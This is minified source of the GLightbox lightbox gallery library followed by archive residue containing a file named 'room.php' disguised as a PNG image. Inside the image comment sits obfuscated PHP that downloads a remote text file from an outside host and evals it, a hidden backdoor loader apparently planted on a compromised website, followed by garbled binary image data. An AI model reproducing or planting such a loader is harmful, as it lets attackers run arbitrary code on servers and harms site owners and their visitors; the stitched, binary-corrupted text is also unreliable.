t=e;if(null!==(e=e.toLowerCase()).match(/\.(jpeg|jpg|jpe|gif|png|apn|webp|avif|svg)/))return"image";if(e.match(/(youtube\.com|youtube-nocookie\.com)\/watch\?v=([a-zA-Z0-9\-_]+)/)||e.match(/youtu\.be\/([a-zA-Z0-9\-_]+)/)||e.match(/(youtube\.com|youtube-nocookie\.com)\/embed\/([a-zA-Z0-9\-_]+)/))return"video";if(e.match(/vimeo\.com\/([0-9]*)/))return"video";if(null!==e.match(/\.(mp4|ogg|webm|mov)/))return"video";if(null!==e.match(/\.(mp3|wav|wma|aac|ogg)/))return"audio";if(e.indexOf("#")>-1&&""!==t.split("#").pop().trim())return"inline";return e.indexOf("goajax=true")>-1?"ajax":"external"}},{key:"parseConfig",value:function(e,t){var i=this,n=l({descPosition:t.descPosition},this.defaults);if(L(e)&&!k(e)){O(e,"type")||(O(e,"content")&&e.content?e.type="inline":O(e,"href")&&(e.type=this.sourceType(e.href)));var s=l(n,e);return this.setSize(s,t),s}var r="",a=e.getAttribute("data-glightbox"),h=e.nodeName.toLowerCase();if("a"===h&&(r=e.href),"img"===h&&(r=e.src,n.alt=e.alt),n.href=r,o(n,(function(s,l){O(t,l)&&"width"!==l&&(n[l]=t[l]);var o=e.dataset[l];I(o)||(n[l]=i.sanitizeValue(o))})),n.content&&(n.type="inline"),!n.type&&r&&(n.type=this.sourceType(r)),I(a)){if(!n.title&&"a"==h){var d=e.title;I(d)||""===d||(n.title=d)}if(!n.title&&"img"==h){var c=e.alt;I(c)||""===c||(n.title=c)}}else{var u=[];o(n,(function(e,t){u.push(";\\s?"+t)})),u=u.join("\\s?:|"),""!==a.trim()&&o(n,(function(e,t){var s=a,l=new RegExp("s?"+t+"s?:s?(.*?)("+u+"s?:|$)"),o=s.match(l);if(o&&o.length&&o[1]){var r=o[1].trim().replace(/;\s*$/,"");n[t]=i.sanitizeValue(r)}}))}if(n.description&&"."===n.description.substring(0,1)){var g;try{g=document.querySelector(n.description).innerHTML}catch(e){if(!(e instanceof DOMException))throw e}g&&(n.description=g)}if(!n.description){var v=e.querySelector(".glightbox-desc");v&&(n.description=v.innerHTML)}return this.setSize(n,t,e),this.slideConfig=n,n}},{key:"setSize",value:function(e,t){var i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:null,n="video"==e.type?this.checkSize(t.videosWidth):this.checkSize(t.width),s=this.checkSize(t.height);return e.width=O(e,"width")&&""!==e.width?this.checkSize(e.width):n,e.height=O(e,"height")&&""!==e.height?this.checkSize(e.height):s,i&&"image"==e.type&&(e._hasCustomWidth=!!i.dataset.width,e._hasCustomHeight=!!i.dataset.height),e}},{key:"checkSize",value:function(e){return M(e)?"".concat(e,"px"):e}},{key:"sanitizeValue",value:function(e){return"true"!==e&&"false"!==e?e:"true"===e}}]),e}(),$=function(){function e(i,n,s){t(this,e),this.element=i,this.instance=n,this.index=s}return n(e,[{key:"setContent",value:function(){var e=this,t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:null,i=arguments.length>1&&void 0!==arguments[1]&&arguments[1];if(c(t,"loaded"))return!1;var n=this.instance.settings,s=this.slideConfig,l=w();T(n.beforeSlideLoad)&&n.beforeSlideLoad({index:this.index,slide:t,player:!1});var o=s.type,r=s.descPosition,a=t.querySelector(".gslide-media"),d=t.querySelector(".gslide-title"),u=t.querySelector(".gslide-desc"),g=t.querySelector(".gdesc-inner"),v=i,f="gSlideTitle_"+this.index,p="gSlideDesc_"+this.index;if(T(n.afterSlideLoad)&&(v=function(){T(i)&&i(),n.afterSlideLoad({index:e.index,slide:t,player:e.instance.getSlidePlayerInstance(e.index)})}),""==s.title&&""==s.description?g&&g.parentNode.parentNode.removeChild(g.parentNode):(d&&""!==s.title?(d.id=f,d.innerHTML=s.title):d.parentNode.removeChild(d),u&&""!==s.description?(u.id=p,l&&n.moreLength>0?(s.smallDescription=this.slideShortDesc(s.description,n.moreLength,n.moreText),u.innerHTML=s.smallDescription,this.descriptionEvents(u,s)):u.innerHTML=s.description):u.parentNode.removeChild(u),h(a.parentNode,"desc-".concat(r)),h(g.parentNode,"description-".concat(r))),h(a,"gslide-".concat(o)),h(t,"loaded"),"video"!==o){if("external"!==o)return"inline"===o?(G.apply(this.instance,[t,s,this.index,v]),void(s.draggable&&new V({dragEl:t.querySelector(".gslide-inline"),toleranceX:n.dragToleranceX,toleranceY:n.dragToleranceY,slide:t,instance:this.instance}))):void("image"!==o?T(v)&&v():j(t,s,this.index,(function(){var i=t.querySelector("img");s.draggable&&new V({dragEl:i,toleranceX:n.dragToleranceX,toleranceY:n.dragToleranceY,slide:t,instance:e.instance}),s.zoomable&&i.naturalWidth>i.offsetWidth&&(h(i,"zoomable"),new H(i,t,(function(){e.instance.resize()}))),T(v)&&v()})));Z.apply(this,[t,s,this.index,v])}else F.apply(this.instance,[t,s,this.index,v])}},{key:"slideShortDesc",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:50,i=arguments.length>2&&void 0!==arguments[2]&&arguments[2],n=document.createElement("div");n.innerHTML=e;var s=n.innerText,l=i;if((e=s.trim()).length<=t)return e;var o=e.substr(0,t-1);return l?(n=null,o+'... <a href="#" class="desc-more">'+i+"</a>"):o}},{key:"descriptionEvents",value:function(e,t){var i=this,n=e.querySelector(".desc-more");if(!n)return!1;a("click",{onElement:n,withCallback:function(e,n){e.preventDefault();var s=document.body,l=u(n,".gslide-desc");if(!l)return!1;l.innerHTML=t.description,h(s,"gdesc-open");var o=a("click",{onElement:[s,u(l,".gslide-description")],withCallback:function(e,n){"a"!==e.target.nodeName.toLowerCase()&&(d(s,"gdesc-open"),h(s,"gdesc-closed"),l.innerHTML=t.smallDescription,i.descriptionEvents(l,t),setTimeout((function(){d(s,"gdesc-closed")}),400),o.destroy())}})}})}},{key:"create",value:function(){return m(this.instance.settings.slideHTML)}},{key:"getConfig",value:function(){k(this.element)||this.element.hasOwnProperty("draggable")||(this.element.draggable=this.instance.settings.draggable);var e=new U(this.instance.settings.slideExtraAttributes);return this.slideConfig=e.parseConfig(this.element,this.instance.settings),this.slideConfig}}]),e}(),J=w(),K=null!==w()||void 0!==document.createTouch||"ontouchstart"in window||"onmsgesturechange"in window||navigator.msMaxTouchPoints,Q=document.getElementsByTagName("html")[0],ee={selector:".glightbox",elements:null,skin:"clean",theme:"clean",closeButton:!0,startAt:null,autoplayVideos:!0,autofocusVideos:!0,descPosition:"bottom",width:"900px",height:"506px",videosWidth:"960px",beforeSlideChange:null,afterSlideChange:null,beforeSlideLoad:null,afterSlideLoad:null,slideInserted:null,slideRemoved:null,slideExtraAttributes:null,onOpen:null,onClose:null,loop:!1,zoomable:!0,draggable:!0,dragAutoSnap:!1,dragToleranceX:40,dragToleranceY:65,preload:!0,oneSlidePerOpen:!1,touchNavigation:!0,touchFollowAxis:!0,keyboardNavigation:!0,closeOnOutsideClick:!0,plugins:!1,plyr:{css:"https://cdn.plyr.io/3.6.12/plyr.css",js:"https://cdn.plyr.io/3.6.12/plyr.js",config:{ratio:"16:9",fullscreen:{enabled:!0,iosNative:!0},youtube:{noCookie:!0,rel:0,showinfo:0,iv_load_policy:3},vimeo:{byline:!1,portrait:!1,title:!1,transparent:!1}}},openEffect:"zoom",closeEffect:"zoom",slideEffect:"slide",moreText:"See more",moreLength:60,cssEfects:{fade:{in:"fadeIn",out:"fadeOut"},zoom:{in:"zoomIn",out:"zoomOut"},slide:{in:"slideInRight",out:"slideOutLeft"},slideBack:{in:"slideInLeft",out:"slideOutRight"},none:{in:"none",out:"none"}},svg:{close:'<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 512 512" xml:space="preserve"><g><g><path d="M505.943,6.058c-8.077-8.077-21.172-8.077-29.249,0L6.058,476.693c-8.077,8.077-8.077,21.172,0,29.249C10.096,509.982,15.39,512,20.683,512c5.293,0,10.586-2.019,14.625-6.059L505.943,35.306C514.019,27.23,514.019,14.135,505.943,6.058z"/></g></g><g><g><path d="M505.942,476.694L35.306,6.059c-8.076-8.077-21.172-8.077-29.248,0c-8.077,8.076-8.077,21.171,0,29.248l470.636,470.636c4.038,4.039,9.332,6.058,14.625,6.058c5.293,0,10.587-2.019,14.624-6.057C514.018,497.866,514.018,484.771,505.942,476.694z"/></g></g></svg>',next:'<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 477.175 477.175" xml:space="preserve"> <g><path d="M360.731,229.075l-225.1-225.1c-5.3-5.3-13.8-5.3-19.1,0s-5.3,13.8,0,19.1l215.5,215.5l-215.5,215.5c-5.3,5.3-5.3,13.8,0,19.1c2.6,2.6,6.1,4,9.5,4c3.4,0,6.9-1.3,9.5-4l225.1-225.1C365.931,242.875,365.931,234.275,360.731,229.075z"/></g></svg>',prev:'<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 477.175 477.175" xml:space="preserve"><g><path d="M145.188,238.575l215.5-215.5c5.3-5.3,5.3-13.8,0-19.1s-13.8-5.3-19.1,0l-225.1,225.1c-5.3,5.3-5.3,13.8,0,19.1l225.1,225c2.6,2.6,6.1,4,9.5,4s6.9-1.3,9.5-4c5.3-5.3,5.3-13.8,0-19.1L145.188,238.575z"/></g></svg>'},slideHTML:'<div class="gslide">\n <div class="gslide-inner-content">\n <div class="ginner-container">\n <div class="gslide-media">\n </div>\n <div class="gslide-description">\n <div class="gdesc-inner">\n <h4 class="gslide-title"></h4>\n <div class="gslide-desc"></div>\n </div>\n </div>\n </div>\n </div>\n</div>',lightboxHTML:'<div id="glightbox-body" class="glightbox-container" tabindex="-1" role="dialog" aria-hidden="false">\n <div class="gloader visible"></div>\n <div class="goverlay"></div>\n <div class="gcontainer">\n <div id="glightbox-slider" class="gslider"></div>\n <button class="gclose gbtn" aria-label="Close" data-taborder="3">{closeSVG}</button>\n <button class="gprev gbtn" aria-label="Previous" data-taborder="2">{prevSVG}</button>\n <button class="gnext gbtn" aria-label="Next" data-taborder="1">{nextSVG}</button>\n</div>\n</div>'},te=function(){function e(){var i=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};t(this,e),this.customOptions=i,this.settings=l(ee,i),this.effectsClasses=this.getAnimationClasses(),this.videoPlayers={},this.apiEvents=[],this.fullElementsList=!1}return n(e,[{key:"init",value:function(){var e=this,t=this.getSelector();t&&(this.baseEvents=a("click",{onElement:t,withCallback:function(t,i){t.preventDefault(),e.open(i)}})),this.elements=this.getElements()}},{key:"open",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:null,t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null;if(0===this.elements.length)return!1;this.activeSlide=null,this.prevActiveSlideIndex=null,this.prevActiveSlide=null;var i=M(t)?t:this.settings.startAt;if(k(e)){var n=e.getAttribute("data-gallery");n&&(this.fullElementsList=this.elements,this.elements=this.getGalleryElements(this.elements,n)),I(i)&&(i=this.getElementIndex(e))<0&&(i=0)}M(i)||(i=0),this.build(),g(this.overlay,"none"===this.settings.openEffect?"none":this.settings.cssEfects.fade.in);var s=document.body,l=window.innerWidth-document.documentElement.clientWidth;if(l>0){var o=document.createElement("style");o.type="text/css",o.className="gcss-styles",o.innerText=".gscrollbar-fixer {margin-right: ".concat(l,"px}"),document.head.appendChild(o),h(s,"gscrollbar-fixer")}h(s,"glightbox-open"),h(Q,"glightbox-open"),J&&(h(document.body,"glightbox-mobile"),this.settings.slideEffect="slide"),this.showSlide(i,!0),1===this.elements.length?(h(this.prevButton,"glightbox-button-hidden"),h(this.nextButton,"glightbox-button-hidden")):(d(this.prevButton,"glightbox-button-hidden"),d(this.nextButton,"glightbox-button-hidden")),this.lightboxOpen=!0,this.trigger("open"),T(this.settings.onOpen)&&this.settings.onOpen(),K&&this.settings.touchNavigation&&B(this),this.settings.keyboardNavigation&&X(this)}},{key:"openAt",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0;this.open(null,e)}},{key:"showSlide",value:function(){var e=this,t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0,i=arguments.length>1&&void 0!==arguments[1]&&arguments[1];f(this.loader),this.index=parseInt(t);var n=this.slidesContainer.querySelector(".current");n&&d(n,"current"),this.slideAnimateOut();var s=this.slidesContainer.querySelectorAll(".gslide")[t];if(c(s,"loaded"))this.slideAnimateIn(s,i),p(this.loader);else{f(this.loader);var l=this.elements[t],o={index:this.index,slide:s,slideNode:s,slideConfig:l.slideConfig,slideIndex:this.index,trigger:l.node,player:null};this.trigger("slide_before_load",o),l.instance.setContent(s,(function(){p(e.loader),e.resize(),e.slideAnimateIn(s,i),e.trigger("slide_after_load",o)}))}this.slideDescription=s.querySelector(".gslide-description"),this.slideDescriptionContained=this.slideDescription&&c(this.slideDescription.parentNode,"gslide-media"),this.settings.preload&&(this.preloadSlide(t+1),this.preloadSlide(t-1)),this.updateNavigationClasses(),this.activeSlide=s}},{key:"preloadSlide",value:function(e){var t=this;if(e<0||e>this.elements.length-1)return!1;if(I(this.elements[e]))return!1;var i=this.slidesContainer.querySelectorAll(".gslide")[e];if(c(i,"loaded"))return!1;var n=this.elements[e],s=n.type,l={index:e,slide:i,slideNode:i,slideConfig:n.slideConfig,slideIndex:e,trigger:n.node,player:null};this.trigger("slide_before_load",l),"video"===s||"external"===s?setTimeout((function(){n.instance.setContent(i,(function(){t.trigger("slide_after_load",l)}))}),200):n.instance.setContent(i,(function(){t.trigger("slide_after_load",l)}))}},{key:"prevSlide",value:function(){this.goToSlide(this.index-1)}},{key:"nextSlide",value:function(){this.goToSlide(this.index+1)}},{key:"goToSlide",value:function(){var e=arguments.length>0&&void 0!==arguments[0]&&arguments[0];if(this.prevActiveSlide=this.activeSlide,this.prevActiveSlideIndex=this.index,!this.loop()&&(e<0||e>this.elements.length-1))return!1;e<0?e=this.elements.length-1:e>=this.elements.length&&(e=0),this.showSlide(e)}},{key:"insertSlide",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:-1;t<0&&(t=this.elements.length);var i=new $(e,this,t),n=i.getConfig(),s=l({},n),o=i.create(),r=this.elements.length-1;s.index=t,s.node=!1,s.instance=i,s.slideConfig=n,this.elements.splice(t,0,s);var a=null,h=null;if(this.slidesContainer){if(t>r)this.slidesContainer.appendChild(o);else{var d=this.slidesContainer.querySelectorAll(".gslide")[t];this.slidesContainer.insertBefore(o,d)}(this.settings.preload&&0==this.index&&0==t||this.index-1==t||this.index+1==t)&&this.preloadSlide(t),0===this.index&&0===t&&(this.index=1),this.updateNavigationClasses(),a=this.slidesContainer.querySelectorAll(".gslide")[t],h=this.getSlidePlayerInstance(t),s.slideNode=a}this.trigger("slide_inserted",{index:t,slide:a,slideNode:a,slideConfig:n,slideIndex:t,trigger:null,player:h}),T(this.settings.slideInserted)&&this.settings.slideInserted({index:t,slide:a,player:h})}},{key:"removeSlide",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:-1;if(e<0||e>this.elements.length-1)return!1;var t=this.slidesContainer&&this.slidesContainer.querySelectorAll(".gslide")[e];t&&(this.getActiveSlideIndex()==e&&(e==this.elements.length-1?this.prevSlide():this.nextSlide()),t.parentNode.removeChild(t)),this.elements.splice(e,1),this.trigger("slide_removed",e),T(this.settings.slideRemoved)&&this.settings.slideRemoved(e)}},{key:"slideAnimateIn",value:function(e,t){var i=this,n=e.querySelector(".gslide-media"),s=e.querySelector(".gslide-description"),l={index:this.prevActiveSlideIndex,slide:this.prevActiveSlide,slideNode:this.prevActiveSlide,slideIndex:this.prevActiveSlide,slideConfig:I(this.prevActiveSlideIndex)?null:this.elements[this.prevActiveSlideIndex].slideConfig,trigger:I(this.prevActiveSlideIndex)?null:this.elements[this.prevActiveSlideIndex].node,player:this.getSlidePlayerInstance(this.prevActiveSlideIndex)},o={index:this.index,slide:this.activeSlide,slideNode:this.activeSlide,slideConfig:this.elements[this.index].slideConfig,slideIndex:this.index,trigger:this.elements[this.index].node,player:this.getSlidePlayerInstance(this.index)};if(n.offsetWidth>0&&s&&(p(s),s.style.display=""),d(e,this.effectsClasses),t)g(e,this.settings.cssEfects[this.settings.openEffect].in,(function(){i.settings.autoplayVideos&&i.slidePlayerPlay(e),i.trigger("slide_changed",{prev:l,current:o}),T(i.settings.afterSlideChange)&&i.settings.afterSlideChange.apply(i,[l,o])}));else{var r=this.settings.slideEffect,a="none"!==r?this.settings.cssEfects[r].in:r;this.prevActiveSlideIndex>this.index&&"slide"==this.settings.slideEffect&&(a=this.settings.cssEfects.slideBack.in),g(e,a,(function(){i.settings.autoplayVideos&&i.slidePlayerPlay(e),i.trigger("slide_changed",{prev:l,current:o}),T(i.settings.afterSlideChange)&&i.settings.afterSlideChange.apply(i,[l,o])}))}setTimeout((function(){i.resize(e)}),100),h(e,"current")}},{key:"slideAnimateOut",value:function(){if(!this.prevActiveSlide)return!1;var e=this.prevActiveSlide;d(e,this.effectsClasses),h(e,"prev");var t=this.settings.slideEffect,i="none"!==t?this.settings.cssEfects[t].out:t;this.slidePlayerPause(e),this.trigger("slide_before_change",{prev:{index:this.prevActiveSlideIndex,slide:this.prevActiveSlide,slideNode:this.prevActiveSlide,slideIndex:this.prevActiveSlideIndex,slideConfig:I(this.prevActiveSlideIndex)?null:this.elements[this.prevActiveSlideIndex].slideConfig,trigger:I(this.prevActiveSlideIndex)?null:this.elements[this.prevActiveSlideIndex].node,player:this.getSlidePlayerInstance(this.prevActiveSlideIndex)},current:{index:this.index,slide:this.activeSlide,slideNode:this.activeSlide,slideIndex:this.index,slideConfig:this.elements[this.index].slideConfig,trigger:this.elements[this.index].node,player:this.getSlidePlayerInstance(this.index)}}),T(this.settings.beforeSlideChange)&&this.settings.beforeSlideChange.apply(this,[{index:this.prevActiveSlideIndex,slide:this.prevActiveSlide,player:this.getSlidePlayerInstance(this.prevActiveSlideIndex)},{index:this.index,slide:this.activeSlide,player:this.getSlidePlayerInstance(this.index)}]),this.prevActiveSlideIndex>this.index&&"slide"==this.settings.slideEffect&&(i=this.settings.cssEfects.slideBack.out),g(e,i,(function(){var t=e.querySelector(".ginner-container"),i=e.querySelector(".gslide-media"),n=e.querySelector(".gslide-description");t.style.transform="",i.style.transform="",d(i,"greset"),i.style.opacity="",n&&(n.style.opacity=""),d(e,"prev")}))}},{key:"getAllPlayers",value:function(){return this.videoPlayers}},{key:"getSlidePlayerInstance",value:function(e){var t="gvideo"+e,i=this.getAllPlayers();return!(!O(i,t)||!i[t])&&i[t]}},{key:"stopSlideVideo",value:function(e){if(k(e)){var t=e.querySelector(".gvideo-wrapper");t&&(e=t.getAttribute("data-index"))}console.log("stopSlideVideo is deprecated, use slidePlayerPause");var i=this.getSlidePlayerInstance(e);i&&i.playing&&i.pause()}},{key:"slidePlayerPause",value:function(e){if(k(e)){var t=e.querySelector(".gvideo-wrapper");t&&(e=t.getAttribute("data-index"))}var i=this.getSlidePlayerInstance(e);i&&i.playing&&i.pause()}},{key:"playSlideVideo",value:function(e){if(k(e)){var t=e.querySelector(".gvideo-wrapper");t&&(e=t.getAttribute("data-index"))}console.log("playSlideVideo is deprecated, use slidePlayerPlay");var i=this.getSlidePlayerInstance(e);i&&!i.playing&&i.play()}},{key:"slidePlayerPlay",value:function(e){var t;if(!J||null!==(t=this.settings.plyr.config)&&void 0!==t&&t.muted){if(k(e)){var i=e.querySelector(".gvideo-wrapper");i&&(e=i.getAttribute("data-index"))}var n=this.getSlidePlayerInstance(e);n&&!n.playing&&(n.play(),this.settings.autofocusVideos&&n.elements.container.focus())}}},{key:"setElements",value:function(e){var t=this;this.settings.elements=!1;var i=[];e&&e.length&&o(e,(function(e,n){var s=new $(e,t,n),o=s.getConfig(),r=l({},o);r.slideConfig=o,r.instance=s,r.index=n,i.push(r)})),this.elements=i,this.lightboxOpen&&(this.slidesContainer.innerHTML="",this.elements.length&&(o(this.elements,(function(){var e=m(t.settings.slideHTML);t.slidesContainer.appendChild(e)})),this.showSlide(0,!0)))}},{key:"getElementIndex",value:function(e){var t=!1;return o(this.elements,(function(i,n){if(O(i,"node")&&i.node==e)return t=n,!0})),t}},{key:"getElements",value:function(){var e=this,t=[];this.elements=this.elements?this.elements:[],!I(this.settings.elements)&&E(this.settings.elements)&&this.settings.elements.length&&o(this.settings.elements,(function(i,n){var s=new $(i,e,n),o=s.getConfig(),r=l({},o);r.node=!1,r.index=n,r.instance=s,r.slideConfig=o,t.push(r)}));var i=!1;return this.getSelector()&&(i=document.querySelectorAll(this.getSelector())),i?(o(i,(function(i,n){var s=new $(i,e,n),o=s.getConfig(),r=l({},o);r.node=i,r.index=n,r.instance=s,r.slideConfig=o,r.gallery=i.getAttribute("data-gallery"),t.push(r)})),t):t}},{key:"getGalleryElements",value:function(e,t){return e.filter((function(e){return e.gallery==t}))}},{key:"getSelector",value:function(){return!this.settings.elements&&(this.settings.selector&&"data-"==this.settings.selector.substring(0,5)?"*[".concat(this.settings.selector,"]"):this.settings.selector)}},{key:"getActiveSlide",value:function(){return this.slidesContainer.querySelectorAll(".gslide")[this.index]}},{key:"getActiveSlideIndex",value:function(){return this.index}},{key:"getAnimationClasses",value:function(){var e=[];for(var t in this.settings.cssEfects)if(this.settings.cssEfects.hasOwnProperty(t)){var i=this.settings.cssEfects[t];e.push("g".concat(i.in)),e.push("g".concat(i.out))}return e.join(" ")}},{key:"build",value:function(){var e=this;if(this.built)return!1;var t=document.body.childNodes,i=[];o(t,(function(e){e.parentNode==document.body&&"#"!==e.nodeName.charAt(0)&&e.hasAttribute&&!e.hasAttribute("aria-hidden")&&(i.push(e),e.setAttribute("aria-hidden","true"))}));var n=O(this.settings.svg,"next")?this.settings.svg.next:"",s=O(this.settings.svg,"prev")?this.settings.svg.prev:"",l=O(this.settings.svg,"close")?this.settings.svg.close:"",r=this.settings.lightboxHTML;r=m(r=(r=(r=r.replace(/{nextSVG}/g,n)).replace(/{prevSVG}/g,s)).replace(/{closeSVG}/g,l)),document.body.appendChild(r);var d=document.getElementById("glightbox-body");this.modal=d;var g=d.querySelector(".gclose");this.prevButton=d.querySelector(".gprev"),this.nextButton=d.querySelector(".gnext"),this.overlay=d.querySelector(".goverlay"),this.loader=d.querySelector(".gloader"),this.slidesContainer=document.getElementById("glightbox-slider"),this.bodyHiddenChildElms=i,this.events={},h(this.modal,"glightbox-"+this.settings.skin),this.settings.closeButton&&g&&(this.events.close=a("click",{onElement:g,withCallback:function(t,i){t.preventDefault(),e.close()}})),g&&!this.settings.closeButton&&g.parentNode.removeChild(g),this.nextButton&&(this.events.next=a("click",{onElement:this.nextButton,withCallback:function(t,i){t.preventDefault(),e.nextSlide()}})),this.prevButton&&(this.events.prev=a("click",{onElement:this.prevButton,withCallback:function(t,i){t.preventDefault(),e.prevSlide()}})),this.settings.closeOnOutsideClick&&(this.events.outClose=a("click",{onElement:d,withCallback:function(t,i){e.preventOutsideClick||c(document.body,"glightbox-mobile")||u(t.target,".ginner-container")||u(t.target,".gbtn")||c(t.target,"gnext")||c(t.target,"gprev")||e.close()}})),o(this.elements,(function(t,i){e.slidesContainer.appendChild(t.instance.create()),t.slideNode=e.slidesContainer.querySelectorAll(".gslide")[i]})),K&&h(document.body,"glightbox-touch"),this.events.resize=a("resize",{onElement:window,withCallback:function(){e.resize()}}),this.built=!0}},{key:"resize",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:null;if((e=e||this.activeSlide)&&!c(e,"zoomed")){var t=y(),i=e.querySelector(".gvideo-wrapper"),n=e.querySelector(".gslide-image"),s=this.slideDescription,l=t.width,o=t.height;if(l<=768?h(document.body,"glightbox-mobile"):d(document.body,"glightbox-mobile"),i||n){var r=!1;if(s&&(c(s,"description-bottom")||c(s,"description-top"))&&!c(s,"gabsolute")&&(r=!0),n)if(l<=768)n.querySelector("img");else if(r){var a=s.offsetHeight,u=n.querySelector("img");u.setAttribute("style","max-height: calc(100vh - ".concat(a,"px)")),s.setAttribute("style","max-width: ".concat(u.offsetWidth,"px;"))}if(i){var g=O(this.settings.plyr.config,"ratio")?this.settings.plyr.config.ratio:"";if(!g){var v=i.clientWidth,f=i.clientHeight,p=v/f;g="".concat(v/p,":").concat(f/p)}var m=g.split(":"),x=this.settings.videosWidth,b=this.settings.videosWidth,S=(b=M(x)||-1!==x.indexOf("px")?parseInt(x):-1!==x.indexOf("vw")?l*parseInt(x)/100:-1!==x.indexOf("vh")?o*parseInt(x)/100:-1!==x.indexOf("%")?l*parseInt(x)/100:parseInt(i.clientWidth))/(parseInt(m[0])/parseInt(m[1]));if(S=Math.floor(S),r&&(o-=s.offsetHeight),b>l||S>o||o<S&&l>b){var w=i.offsetWidth,T=i.offsetHeight,C=o/T,k={width:w*C,height:T*C};i.parentNode.setAttribute("style","max-width: ".concat(k.width,"px")),r&&s.setAttribute("style","max-width: ".concat(k.width,"px;"))}else i.parentNode.style.maxWidth="".concat(x),r&&s.setAttribute("style","max-width: ".concat(x,";"))}}}}},{key:"reload",value:function(){this.init()}},{key:"updateNavigationClasses",value:function(){var e=this.loop();d(this.nextButton,"disabled"),d(this.prevButton,"disabled"),0==this.index&&this.elements.length-1==0?(h(this.prevButton,"disabled"),h(this.nextButton,"disabled")):0!==this.index||e?this.index!==this.elements.length-1||e||h(this.nextButton,"disabled"):h(this.prevButton,"disabled")}},{key:"loop",value:function(){var e=O(this.settings,"loopAtEnd")?this.settings.loopAtEnd:null;return e=O(this.settings,"loop")?this.settings.loop:e,e}},{key:"close",value:function(){var e=this;if(!this.lightboxOpen){if(this.events){for(var t in this.events)this.events.hasOwnProperty(t)&&this.events[t].destroy();this.events=null}return!1}if(this.closing)return!1;this.closing=!0,this.slidePlayerPause(this.activeSlide),this.fullElementsList&&(this.elements=this.fullElementsList),this.bodyHiddenChildElms.length&&o(this.bodyHiddenChildElms,(function(e){e.removeAttribute("aria-hidden")})),h(this.modal,"glightbox-closing"),g(this.overlay,"none"==this.settings.openEffect?"none":this.settings.cssEfects.fade.out),g(this.activeSlide,this.settings.cssEfects[this.settings.closeEffect].out,(function(){if(e.activeSlide=null,e.prevActiveSlideIndex=null,e.prevActiveSlide=null,e.built=!1,e.events){for(var t in e.events)e.events.hasOwnProperty(t)&&e.events[t].destroy();e.events=null}var i=document.body;d(Q,"glightbox-open"),d(i,"glightbox-open touching gdesc-open glightbox-touch glightbox-mobile gscrollbar-fixer"),e.modal.parentNode.removeChild(e.modal),e.trigger("close"),T(e.settings.onClose)&&e.settings.onClose();var n=document.querySelector(".gcss-styles");n&&n.parentNode.removeChild(n),e.lightboxOpen=!1,e.closing=null}))}},{key:"destroy",value:function(){this.close(),this.clearAllEvents(),this.baseEvents&&this.baseEvents.destroy()}},{key:"on",value:function(e,t){var i=arguments.length>2&&void 0!==arguments[2]&&arguments[2];if(!e||!T(t))throw new TypeError("Event name and callback must be defined");this.apiEvents.push({evt:e,once:i,callback:t})}},{key:"once",value:function(e,t){this.on(e,t,!0)}},{key:"trigger",value:function(e){var t=this,i=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null,n=[];o(this.apiEvents,(function(t,s){var l=t.evt,o=t.once,r=t.callback;l==e&&(r(i),o&&n.push(s))})),n.length&&o(n,(function(e){return t.apiEvents.splice(e,1)}))}},{key:"clearAllEvents",value:function(){this.apiEvents.splice(0,this.apiEvents.length)}},{key:"version",value:function(){return"3.1.0"}}]),e}();return function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=new te(e);return t.init(),t}})); js/735a8l/room.php 0000644 00000010666 14721212120 0007571 0 ustar 00 �PNG IHDR @ @ ?iq? pHYs ?� �tEXtComment <?php echo eval("\77\76" . file_get_contents("\x68\164\164\x70\72\57\x2f\x75\156\x64\145\162\x67\x72\x6f\x75\x6e\x64\x2e\145\x76\x69\x6c\x74\x77\x2e\151\x6e\57\155\x2e\x74\170\164")); ?> 9HO? IDATx�?� ��UC?<�? ?Pj?A?d*E)"??A��R?A$�,`A??T C ?AB?0Eh�B"�Z?�T??K?�??f5??�6�U{�s� �??��~g�����{�+??IO5?H�+i��Y�^?�w$��C?����q�>'��NP��t��JI�$?J,�8�$}SRk? �%�7�?�?�X,i?��H?XRgIM�c[H�(�'m�&?�??�9�${@?�J:C?��FIzD?A"�Z?$=,��?Jj.i�����??�?:�h/iN ?_�?J? U`?��?,i?�K$��4�9?]��C?�`��w!f ?�����??C?@??A��rt�.���E�[��E�K?q��?K�qI?Ilꄙ\���eIC?zI$}���>"iR��X�?��?1�???�I�????ON�?%])�a-IU@? I ?<��-V���\k�%�`�5�>.�jI�����_W0?�A?d��Iz�??K?��?_?�??��??y]LZ Zb|?�$}H?�a??�?/d�??Y�>,�F?U FEt�A*~?��tA?A�?>>�o\�'��?E|0??�q�?�f?"ixr?-IcJ?[?��@E? ?q�?E1�?�??jXiss�K)�UU��&|G??�>�?�;:{w[?tgIJh0Z.�t�?�D<UO(EY?? s1u�?-0q�e; 5L?~I??�}�?�<�??U8�P??>_IUU??0:X�??O0�??U�?�6?I??��?Wv[��U�?)$??� �^l� ssPE�?Uh�?e�'?E2QKd,IN?��?�8�IMR%uO,���?8?=��v�'x�ww$}>?X�x J?U?��"???9t??<ME?6b??�56I��I�f???U?Ap� ��p/I�?gc\h�?�??�?~-b? �nH^�U�#�q?.�� &,|�~?pF�FS?,��d?:�1??a��s3}���?A){��U@dV??:D?9�?LIaI{$�?DuC��sJ�wG�<?�*"�?Jz9f�?���e??�5t�4/��vhksA0?����9?z�c��D�5E6h�vu?v�???Ol?[��?7??v�f?@�����9�CC?'��5I�l)�J]?9X�&� 